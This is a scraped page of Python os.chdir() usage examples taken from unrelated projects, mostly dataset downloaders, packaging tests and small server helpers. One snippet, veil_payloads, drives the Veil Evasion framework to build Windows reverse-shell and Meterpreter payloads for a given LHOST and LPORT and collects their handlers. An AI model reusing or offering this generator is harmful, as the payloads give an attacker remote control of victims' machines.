Python os.chdir() Examples

def get_cifar10(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    cwd = os.path.abspath(os.getcwd())
    os.chdir(data_dir)
    if (not os.path.exists('train.rec')) or \
       (not os.path.exists('test.rec')) :
        import urllib, zipfile, glob
        dirname = os.getcwd()
        zippath = os.path.join(dirname, "cifar10.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/cifar10.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
        for f in glob.glob(os.path.join(dirname, "cifar", "*")):
            name = f.split(os.path.sep)[-1]
            os.rename(f, os.path.join(dirname, name))
        os.rmdir(os.path.join(dirname, "cifar"))
    os.chdir(cwd)

# data 

def test_dash_in_project_slug(cookies):
    ctx = {'project_slug': "my-package"}
    project = cookies.bake(extra_context=ctx)

    assert project.exit_code == 0

    with open(os.path.join(str(project.project), 'setup.py')) as f:
        setup = f.read()
    print(setup)

    cwd = os.getcwd()
    os.chdir(str(project.project))

    try:
        sh.python(['setup.py', 'install'])
        sh.python(['setup.py', 'build_sphinx'])
    except sh.ErrorReturnCode as e:
        pytest.fail(e)
    finally:
        os.chdir(cwd) 

def ensure_lambda_helper():
    awslambda = getattr(clients, "lambda")
    try:
        helper_desc = awslambda.get_function(FunctionName="aegea-dev-process_batch_event")
        logger.info("Using Batch helper Lambda %s", helper_desc["Configuration"]["FunctionArn"])
    except awslambda.exceptions.ResourceNotFoundException:
        logger.info("Batch helper Lambda not found, installing")
        import chalice.cli
        orig_argv = sys.argv
        orig_wd = os.getcwd()
        try:
            os.chdir(os.path.join(os.path.dirname(__file__), "batch_events_lambda"))
            sys.argv = ["chalice", "deploy", "--no-autogen-policy"]
            chalice.cli.main()
        except SystemExit:
            pass
        finally:
            os.chdir(orig_wd)
            sys.argv = orig_argv 

def __init__(self, label="DefaultValues", logfile=None, verbose=False, debug=False):
        super(DefaultValues, self).__init__(label=label, logfile=logfile, verbose=verbose, debug=debug)
        self._validator = Validator(logfile=logfile, verbose=verbose, debug=debug)
        pipeline_dir = os.path.dirname(self._validator.get_full_path(os.path.dirname(scripts.__file__)))

        self._DEFAULT_seed = random.randint(0, 2147483640)
        self._DEFAULT_tmp_dir = tempfile.gettempdir()
        self._DEFAULT_directory_pipeline = pipeline_dir

        original_wd = os.getcwd()
        os.chdir(pipeline_dir)
        file_path_config = os.path.join(pipeline_dir, "default_config.ini")
        if self._validator.validate_file(file_path_config, silent=True):
            self._from_config(file_path_config)
        else:
            self._from_hardcoded(pipeline_dir)
        os.chdir(original_wd) 

def cd(self, message, conn):
        message = message.split()[1]                          # 截取目录名
        # 如果是新连接或者下载上传文件后的发送则 不切换 只将当前工作目录发送过去
        if message != 'same':
            f = r'./' + message
            os.chdir(f)
        # path = ''
        path = os.getcwd().split('\\')                        # 当前工作目录
        for i in range(len(path)):
            if path[i] == 'resources':
                break
        pat = ''
        for j in range(i, len(path)):
            pat = pat + path[j] + ' '
        pat = '\\'.join(pat.split())
        # 如果切换目录超出范围则退回切换前目录
        if 'resources' not in path:
            f = r'./resources'
            os.chdir(f)
            pat = 'resources'
        conn.send(pat.encode())

    # 判断输入的命令并执行对应的函数 

def get_payload_output(payload_output_dir):
	""" Builds directory structure if output option is supplied """
	output_dir = payload_output_dir
	# check to see if the trailing slash has been added to the path : ie /root/path
	if not output_dir.endswith("/"):
		output_dir = output_dir + "/"

	# creates the structure if it doesn't exist
	if not os.path.isdir(output_dir):
		print(yellowtxt("[!] Creating output directory structure"))
		os.mkdir(output_dir)
		os.chdir(output_dir)
		os.mkdir('handlers')
	return output_dir



###############################
### 	Helper Function	    ###
############################### 

def test_double_quotes_in_name_and_description(cookies):
    ctx = {'project_short_description': '"double quotes"',
           'full_name': '"name"name'}
    project = cookies.bake(extra_context=ctx)

    assert project.exit_code == 0

    with open(os.path.join(str(project.project), 'setup.py')) as f:
        setup = f.read()
    print(setup)

    cwd = os.getcwd()
    os.chdir(str(project.project))

    try:
        sh.python(['setup.py', 'install'])
    except sh.ErrorReturnCode as e:
        pytest.fail(e)
    finally:
        os.chdir(cwd) 

def test_single_quotes_in_name_and_description(cookies):
    ctx = {'project_short_description': "'single quotes'",
           'full_name': "Mr. O'Keeffe"}
    project = cookies.bake(extra_context=ctx)

    assert project.exit_code == 0

    with open(os.path.join(str(project.project), 'setup.py')) as f:
        setup = f.read()
    print(setup)

    cwd = os.getcwd()
    os.chdir(str(project.project))

    try:
        sh.python(['setup.py', 'install'])
    except sh.ErrorReturnCode as e:
        pytest.fail(e)
    finally:
        os.chdir(cwd) 

def test_space_in_project_slug(cookies):
    ctx = {'project_slug': "my package"}
    project = cookies.bake(extra_context=ctx)

    assert project.exit_code == 0

    with open(os.path.join(str(project.project), 'setup.py')) as f:
        setup = f.read()
    print(setup)

    cwd = os.getcwd()
    os.chdir(str(project.project))

    try:
        sh.python(['setup.py', 'install'])
        sh.python(['setup.py', 'build_sphinx'])
    except sh.ErrorReturnCode as e:
        pytest.fail(e)
    finally:
        os.chdir(cwd) 

def test_install(cookies):
    project = cookies.bake()

    assert project.exit_code == 0
    assert project.exception is None

    cwd = os.getcwd()
    os.chdir(str(project.project))

    try:
        sh.python(['setup.py', 'install'])
    except sh.ErrorReturnCode as e:
        pytest.fail(e)
    finally:
        os.chdir(cwd) 

def test_building_documentation_apidocs(cookies):
    project = cookies.bake(extra_context={'apidoc': 'yes'})

    assert project.exit_code == 0
    assert project.exception is None

    cwd = os.getcwd()
    os.chdir(str(project.project))

    try:
        sh.python(['setup.py', 'build_sphinx'])
    except sh.ErrorReturnCode as e:
        pytest.fail(e)
    finally:
        os.chdir(cwd)

    apidocs = project.project.join('docs', '_build', 'html', 'apidocs')

    assert apidocs.join('my_python_project.html').isfile()
    assert apidocs.join('my_python_project.my_python_project.html').isfile() 

def get_mnist(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    os.chdir(data_dir)
    if (not os.path.exists('train-images-idx3-ubyte')) or \
       (not os.path.exists('train-labels-idx1-ubyte')) or \
       (not os.path.exists('t10k-images-idx3-ubyte')) or \
       (not os.path.exists('t10k-labels-idx1-ubyte')):
        import urllib, zipfile
        zippath = os.path.join(os.getcwd(), "mnist.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/mnist.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
    os.chdir("..") 

def setUp(self):
        logging.getLogger().setLevel(logging.DEBUG)

        # We need to be in the same directory than the script so the commands in the dockerfiles work as
        # expected. But the script can be invoked from a different path
        base = os.path.split(os.path.realpath(__file__))[0]
        os.chdir(base)

        docker_cache._login_dockerhub = MagicMock()  # Override login

        # Stop in case previous execution was dirty
        try:
            self._stop_local_docker_registry()
        except Exception:
            pass

        # Start up docker registry
        self._start_local_docker_registry() 

def install(self):
        """
        Command: Iterate over all AVAILABLE plugins and pre-install them. They can be enabled later.
        :return:
        """

        print(' >> Installing plugins...')
        print(list(self._plugins.items()))

        for plugin_name, module in self._plugins.items():
            print(' >> Instaling plugin "%s"' % plugin_name)

            os.chdir(self._front_path)
            print('   .. installing frontend')
            module.frontend_setup()

            os.chdir('/usr/src/taiga-back/')
            print('   .. installing backend')
            module.backend_setup() 

def test_npm_install_integration(self):
        remember_cwd(self)
        tmpdir = mkdtemp(self)
        os.chdir(tmpdir)
        stub_mod_call(self, cli)
        stub_base_which(self, which_npm)
        rt = self.setup_runtime()
        rt(['foo', '--install', 'example.package1', 'example.package2'])

        with open(join(tmpdir, 'package.json')) as fd:
            result = json.load(fd)

        self.assertEqual(result['dependencies']['jquery'], '~3.1.0')
        self.assertEqual(result['dependencies']['underscore'], '~1.8.3')
        # not foo install, but npm install since entry point specified
        # the actual runtime instance.
        self.assertEqual(self.call_args[0], ([which_npm, 'install'],)) 

def test_npm_all_the_actions(self):
        remember_cwd(self)
        tmpdir = mkdtemp(self)
        os.chdir(tmpdir)
        stub_stdouts(self)
        stub_mod_call(self, cli)
        stub_base_which(self, which_npm)
        rt = self.setup_runtime()
        rt(['foo', '--install', '--view', '--init',
            'example.package1', 'example.package2'])

        # inside stdout
        result = json.loads(sys.stdout.getvalue())
        self.assertEqual(result['dependencies']['jquery'], '~3.1.0')
        self.assertEqual(result['dependencies']['underscore'], '~1.8.3')

        with open(join(tmpdir, 'package.json')) as fd:
            result = json.load(fd)

        self.assertEqual(result['dependencies']['jquery'], '~3.1.0')
        self.assertEqual(result['dependencies']['underscore'], '~1.8.3')
        # not foo install, but npm install since entry point specified
        # the actual runtime instance.
        self.assertEqual(self.call_args[0], ([which_npm, 'install'],)) 

def test_npm_binary_not_found_debugger_disabled(self):
        remember_cwd(self)
        tmpdir = mkdtemp(self)
        os.chdir(tmpdir)
        rt = self.setup_runtime()
        # stub_stdin(self, u'quit\n')
        stub_stdouts(self)

        # ensure the binary is not found.
        stub_mod_call(self, cli, fake_error(IOError))
        rt(['-dd', 'foo', '--install', 'example.package2'])

        stderr = sys.stderr.getvalue()
        self.assertIn("ERROR", stderr)
        self.assertIn(
            "invocation of the 'npm' binary failed;", stderr)
        self.assertIn("terminating due to unexpected error", stderr)
        self.assertIn("Traceback ", stderr)
        # Note that since 3.4.0, post_mortem must be explicitly enabled
        # for the runtime class/instance
        self.assertNotIn("(Pdb)", sys.stdout.getvalue())
        self.assertIn(
            "instances of 'calmjs.runtime.Runtime' has disabled post_mortem "
            "debugger", sys.stderr.getvalue()
        ) 

def test_calmjs_main_console_entry_point_install(self):
        remember_cwd(self)
        tmpdir = mkdtemp(self)
        os.chdir(tmpdir)
        stub_stdouts(self)
        stub_mod_call(self, cli, fake_error(IOError))

        with self.assertRaises(SystemExit) as e:
            runtime.main(['npm', '--init', 'calmjs'])
        # this should be fine, exit code 0
        self.assertEqual(e.exception.args[0], 0)

        with self.assertRaises(SystemExit) as e:
            runtime.main(['npm', '--install', 'calmjs'])
        self.assertIn(
            "invocation of the 'npm' binary failed;", sys.stderr.getvalue())
        self.assertEqual(e.exception.args[0], 1) 

def do_offline():
    URL = "https://github.com/nongiach/arm_now_templates/archive/master.zip"
    templates = str(Path.home()) + "/.config/arm_now/templates/"
    master_zip = str(Path.home()) + "/.config/arm_now/templates/master.zip"
    os.makedirs(templates)
    # download_from_github(arch)
    download(URL, master_zip, Config.DOWNLOAD_CACHE_DIR)
    os.chdir(templates)
    check_call("unzip master.zip", shell=True)
    check_call("mv arm_now_templates-master/* .", shell=True)
    check_call("rm -rf arm_now_templates-master/ README.md master.zip", shell=True) 

def _remote_init(working_dir):
    global pickle
    import pickle
    import sys
    import shutil
    import os
    if not os.path.isdir(working_dir):
        os.mkdir(working_dir)
    sys.path.append(working_dir)
    shutil.move("_common.py", working_dir)
    shutil.move("_gdb.py", working_dir)
    shutil.move("cmds.gdb", working_dir)
    # setup CERT exploitable
    exp_lib_dir = os.path.join(working_dir, "exploitable", "lib")
    os.makedirs(exp_lib_dir)
    shutil.move("exploitable.py", os.path.join(working_dir, "exploitable"))
    shutil.move("__init__.py", exp_lib_dir)
    shutil.move("analyzers.py", exp_lib_dir)
    shutil.move("classifier.py", exp_lib_dir)
    shutil.move("elf.py", exp_lib_dir)
    shutil.move("gdb_wrapper.py", exp_lib_dir)
    shutil.move("rules.py", exp_lib_dir)
    shutil.move("tools.py", exp_lib_dir)
    shutil.move("versions.py", exp_lib_dir)
    os.chdir(working_dir)
    global _common
    global _gdb
    import _common
    import _gdb 

def local_run():
    opts, arg_error = parse_args()
    if opts.verbose:
        log.getLogger().setLevel(log.DEBUG)
    proj_cls = load_project(opts.project_name)
    if opts.reduce:
        for r in opts.reduce:
            if r not in reducers:
                arg_error("unknown reducer: \"%r\"" % r)

    tmp_wd = os.getcwd()
    if os.path.isdir(opts.template_or_directory):
        test_dir = os.path.abspath(opts.template_or_directory)
        tests = [os.path.join(test_dir, test) for test in os.listdir(opts.template_or_directory)]
        run_folder = "%s_%s_dir_replay" % (time.strftime("%Y%m%d-%H%M%S"), opts.project_name)
    else:
        tests = [opts.template_or_directory]
        run_folder = "%s_%s_local" % (time.strftime("%Y%m%d-%H%M%S"), opts.project_name)

    os.mkdir(run_folder)
    for template_fn in tests:
        template_fn = os.path.abspath(template_fn)
        os.chdir(run_folder)
        main(opts.project_name, proj_cls(template_fn), run_folder, template_fn,
             opts.iterations, opts.min_aggr, opts.max_aggr, opts.keep_mutations, opts.timeout,
             opts.pickle_result, opts.reduce, opts.reducen)
        os.chdir(tmp_wd) 

def _make_absolute(filename):
        """Ensure filename is absolute to avoid effect of os.chdir."""
        return filename if os.path.isabs(filename) else (
            os.path.normpath(os.path.join(_module__file__base, filename))
        ) 

def _do_execv(self):
        """Re-execute the current process.

        This must be called from the main thread, because certain platforms
        (OS X) don't allow execv to be called in a child thread very well.
        """
        try:
            args = self._get_true_argv()
        except NotImplementedError:
            """It's probably win32 or GAE"""
            args = [sys.executable] + self._get_interpreter_argv() + sys.argv

        self.log('Re-spawning %s' % ' '.join(args))

        self._extend_pythonpath(os.environ)

        if sys.platform[:4] == 'java':
            from _systemrestart import SystemRestart
            raise SystemRestart
        else:
            if sys.platform == 'win32':
                args = ['"%s"' % arg for arg in args]

            os.chdir(_startup_cwd)
            if self.max_cloexec_files:
                self._set_cloexec()
            os.execv(sys.executable, args) 

def __init__(self, port):
        threading.Thread.__init__(self)
        # self.setDaemon(True)
        self.ADDR = ('', port)
        # self.PORT = port
        os.chdir(sys.path[0])
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # self.conn = None
        # self.addr = None

    # 用于接收所有客户端发送信息的函数 

def __init__(self, port):
        threading.Thread.__init__(self)
        # self.setDaemon(True)
        self.ADDR = ('', port)
        # self.PORT = port
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.first = r'.\resources'
        os.chdir(self.first)                                     # 把first设为当前工作路径
        # self.conn = None 

def __init__(self, port):
        threading.Thread.__init__(self)
        # self.setDaemon(True)
        self.ADDR = ('', port)
        # self.PORT = port
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # self.conn = None
        os.chdir(sys.path[0])
        self.folder = '.\\Server_image_cache\\'  # 图片的保存文件夹 

def veil_payloads(ip, output_dir, move_payloads, veil_path, payload_port):
	""" Takes local IP address as LHOST parm and builds Veil payloads"""
	# Veil doesn't have a custom output directory option and the default path gets pulled from the config file
	# hacky approach :: copy each generated payload and handler in to the custom output directory if it is supplied
	# start empty list to hold
	os.chdir(veil_path)
	payloads = []
	# appends payloads with nested 3 value list for dynamic parm calling
	payloads.append(["10",payload_port, "v_revhttps"])
	payloads.append(["5",payload_port,"v_revhttp"])
	payloads.append(["7",payload_port,"v_revmet"])
	payloads.append(["6",payload_port, "v_revhttp_srv"])

	print("Creating Veil Goodness")
	for parms in payloads:
		lhost = ip
		payload = parms[0]
		lport = str(parms[1])
		output = parms[2]
		command = ("./Veil.py -t Evasion -p " + payload + " -c LHOST=" + lhost + " LPORT=" + lport + " -o " + output + " --ip " + ip)
		os.system(command)
		time.sleep(2)
		# if using a custom output directory, veil doesn't have an option to specify the base directory as it gets this from the conf file
		# payload generated above has unique 'base' name - access the list and check the boolean flag that is pushed in
		# if this is true, move the file/handler into the custom output directory so that all payloads are in custom location
		if move_payloads == True:
			# move payload
			os.system("mv /root/payloads/windows/" + output + ".exe "  + output_dir)
			os.system("mv /root/payloads/windows/" + output + ".dll "  + output_dir)
			# move handler
			os.system("mv /root/payloads/windows/handlers/" + output + "_handler.rc " + output_dir + "handlers") 

def setUpClass(cls):
        cls.this_dir = os.path.dirname(os.path.abspath(__file__))
        cls.test_dir = tempfile.mkdtemp()
        os.chdir(cls.test_dir) 

def tearDownClass(cls):
        os.chdir(CWD)
        shutil.rmtree(cls.test_dir) 

def tearDownClass(cls):
        os.chdir(cls.this_dir)
        shutil.rmtree(cls.test_dir)